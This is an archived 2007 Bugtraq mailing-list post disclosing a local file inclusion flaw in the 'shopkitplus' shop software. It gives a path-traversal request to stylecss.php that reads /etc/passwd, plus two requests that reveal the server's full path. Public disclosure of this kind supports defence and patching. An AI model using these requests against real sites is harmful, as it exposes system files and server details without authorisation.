shopkitplus local file include

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: shopkitplus local file include
From: none@xxxxxxxx
Date: 23 Feb 2007 20:50:03 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

lfi:
/shopkitplus/enc/stylecss.php?changetheme=../../../../../../../../../../../../etc/passwd

full path:
/shopkitplus/events.php?curmonth[]=01
/shopkitplus/enc/stylecss.php?changetheme[]=

regards laurent gaffié

Prev by Date: Re: iDefense Security Advisory 02.22.07: IBM DB2 Universal Database DB2INSTANCE File Creation Vulnerability
Next by Date: xtcommerce local file include
Previous by thread: iDefense Security Advisory 02.23.07: Mozilla Network Security Services SSLv2 Client Integer Underflow Vulnerability
Next by thread: xtcommerce local file include
Index(es):
- Date
- Thread